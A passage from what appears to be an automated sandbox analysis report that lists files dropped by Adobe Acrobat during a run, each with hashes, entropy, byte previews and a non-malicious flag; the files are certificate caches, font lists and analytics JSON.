Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklaiiGL/tfllXlE/HT8k7TNNX8RolJuRdxLlGB9lQRYwpDdt:kKDRGL/eT8yhNMa8RdWBwRd
MD5:	C785E4F10C9588520341067C7D058F36
SHA1:	DB42A35CD1E557927749A02CECF8105D9C8E04D9
SHA-256:	F1D509D247A68F63774AE44B3ED2A0F23F996B87DAF03E6F8EA2BF78B03EAE18
SHA-512:	EA7CB87B3CAA96AB24A44D3A8DF424B5D2A59F0D304A860B2E7542D312490BFBA870F0C1CFEAC2241EB955B4440734449A1DF372917C7F09B5BA6C39AE03752B
Malicious:	false
Preview:	p...... ...........t.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kKDiI/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5/iDImsLNkPlE99SNxAhUe/3
MD5:	B8EAF3D6B2131871FB759DEA5F0AB35D
SHA1:	B6E214509FE674E748E7C17B335BB6474AE1A70C
SHA-256:	FE3CBAF869B0EE9DD39E730ED417060DD8300E048C8A72BE63658817B2AFB88B
SHA-512:	43BF4162F5E8B263D40EDA89DDDFEB8A86787835AC82ECFAF6249971503D502DE0A9B1D3B2023992947C2E2B8771BC82E4481174A910D93CC79D300B64D311F1
Malicious:	false
Preview:	p...... ........<.<..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5292

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5292

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.358146067863656
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJM3g98kUwPeUkwRe9:YvXKXVObIGcdGMbLUkee9
MD5:	53EA29466430ED3299AD0DDBE028EC40
SHA1:	CB4EB0BBA1627B8DEC795BE90067E8E3DC626885
SHA-256:	B970D212B31BCAF05F7B810E3892421B891878967F66B7E8AC01F4272614035A
SHA-512:	A58D63A20D69463FD54D993AD22FD74DFB93F479A955FC421C3D5EC66D43C37AACB18BC70CE025D60263647D512C178760944067B96AD08BFCEF19311C644FE2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.313974478892188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfBoTfXpnrPeUkwRe9:YvXKXVObIGcdGWTfXcUkee9
MD5:	57FB3BAA6726F8E4FCF9B1BD93FA6617
SHA1:	DCE13A358049A14189DDA7B1DB275EACE7EB0890
SHA-256:	544B85E4C64F65EE696AB547408BDCF1D38D7E8EB115E0D2784A7C52A8BCF678
SHA-512:	8BFDE6A6F7498035CD630B5CFE0D8F57ECADFC1E000FC7F38EE82D2CD40DC69BBE5D47649B70FCA2E4DC029E1F611F26580125167B5836474185B0BC18B00568
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292373797760619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfBD2G6UpnrPeUkwRe9:YvXKXVObIGcdGR22cUkee9
MD5:	0CA6F6A16F41D07E02BF01FB52616015
SHA1:	650ADE191668339BA70F70B962D98F2BBEC1763F
SHA-256:	8562E765C5FF023C176431C367CF1EBEE653B947FDDBC8374A76094BF36E8616
SHA-512:	2F798A0ACA341E14A322A889CB69B81EC27259E71ABC85B18D8B5A3B017912C84F4FB6BFAE9CB1622D26DDDCC25E9359FB39F3BFBD5AFC18DAF0464BDDE09B7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.337985579722206
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfPmwrPeUkwRe9:YvXKXVObIGcdGH56Ukee9
MD5:	8D9A3E29EA474EA0815797BF05E92DAB
SHA1:	B032CE07948BC54ED69BBD955AC95A7A87CA39C6
SHA-256:	ADD3178DC1D04871EA6DC7C7D75C527240CE7080D5C9F549B3AD456D723733BD
SHA-512:	5AB044837AB5E684B4BE8A5F05A358608617043BE21E9A7CBD7435C3B9A779B45DB50F4F1614696DAE154609CE09CE2B7329C7DCAE30A2D4F40079C04F2DCC5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685369161264542
Encrypted:	false
SSDEEP:	24:Yv6XcI7ipLgE9cQx8LennAvzBvkn0RCmK8czOCCS7:YvMGhgy6SAFv5Ah8cv/7
MD5:	8B82D5E8C86A6BAF2281CC76E6D35A3F
SHA1:	3B404D40ABBC4D75E2DAD59E481ED6B1F743EC19
SHA-256:	36DE406302B8D4B87783C7E4840059A3B865FC556476805149D6F797683998A8
SHA-512:	174178BB9980FF446CE3FE531D958325335CB8BAA1F1589E23754721957563FC0E4DD664E47CAF3A462AC2B65A5288BAE237414CF90260F2D17CCE558C44D76A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289633989546511
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJf8dPeUkwRe9:YvXKXVObIGcdGU8Ukee9
MD5:	FC5B31249A66388831D493798D8805AD
SHA1:	2822CFDAF1B03B52FFCC245EE683E75217D3C9AD
SHA-256:	F9E14B3C65A663B1E6CE865CC9D89B8AE2B9DA33FBB6A6D6DF7E0E578177876B
SHA-512:	8C570F8BA93AB405F28CEBE80CCD5B2C5F81A03FAF35020B19BDCC421052EC5798978CFC42091E411094FACD04E535078B57F3D17273B6302EB85F62224647FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.292992538573566
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfQ1rPeUkwRe9:YvXKXVObIGcdGY16Ukee9
MD5:	83C3D2DD883C9C049EFDF0E09B78621E
SHA1:	2573F24013EFBBCEA666481DBB8DFA072541E895
SHA-256:	7A88237D6E360FAF04BF6AA4D969D5E9ABB21C59B611546A0E8D7C13CDAF06FC
SHA-512:	CC3025D27F0AC61B4814FC3A7EED2ADCD2F15F934D878057EA983CBC1FB4E92E7D11BEA176EF243F8734D6A23796CFC5AC2512A9329917CE91B1C757653D69D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2996184904553125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfFldPeUkwRe9:YvXKXVObIGcdGz8Ukee9
MD5:	BB247AE01847626A8A74280994C0E2A9
SHA1:	D0C61B9694C2E70073489B6C884E9DCBF05C5A6B
SHA-256:	C68198A6D808A7ADDBB545ED174C8AC337AB05BF09D8439D284C7E4175B6F418
SHA-512:	9E833533FBB00149F0080BFDAD57D079ABAA2BFF090C4FFEE40CF176AFE94A1881D02E6FA8757DC5C7C8A678E626FEA8B9E2DA7E5CF0B3D1F81BFF5FCD4B4344
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.316625220150141
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfzdPeUkwRe9:YvXKXVObIGcdGb8Ukee9
MD5:	BBE80BC1B805805AA5104F965A296B00
SHA1:	ED47DC0FB68606E80601F7D695EC94CE54648E92
SHA-256:	67222C3E34A440EDBE4C1950D4308F9E12163817AA2D7C690CFB847C556C0BC5
SHA-512:	6786F08AD1CC958FACB5909719C5B2F002303CD0956C5292F7D1F84B96D5FB9A1A0824CE01ECAE8DA9954182A4E249052DEF09D2A90DB848E2A290C067F6C4A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297212110312718
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfYdPeUkwRe9:YvXKXVObIGcdGg8Ukee9
MD5:	84EED5D15A009B21CE95DA9E1FF2227A
SHA1:	AB507EACB4680F11F6D3C40EC48F99DF5E866D49
SHA-256:	A28B3DCB36AE5B945A63D31E5839555AEC629A23BC5152A7E49F00F0AD829A91
SHA-512:	574ECE94BE688B2C3F9B3A860ED01FE526E1B8C1E7F1F038432EAAB2A6B8F5A296D4495B6CA5865F89A4CB8A50A612FCC9505810B85974087701053E8046A49A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282895699037635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJf+dPeUkwRe9:YvXKXVObIGcdG28Ukee9
MD5:	72E32AF15DE3512D770023D0CAD189EA
SHA1:	7BA556D4AD83CF7624D735D2073C58EF021598C5
SHA-256:	22E5378B654CF990776399178A3358198216D47D78971EDECB99FD33FF20D4B7
SHA-512:	9EB8BF8318654958784FC500E2A92EFC67F8C7A5F10287A58DE99C445B5CD309B6B5F9D7D461247879359EE8E6B41650BC81CC4C4060400952414F243C21481C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.280778368740447
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfbPtdPeUkwRe9:YvXKXVObIGcdGDV8Ukee9
MD5:	99B1F8049B920E7A2CB7B812A935079B
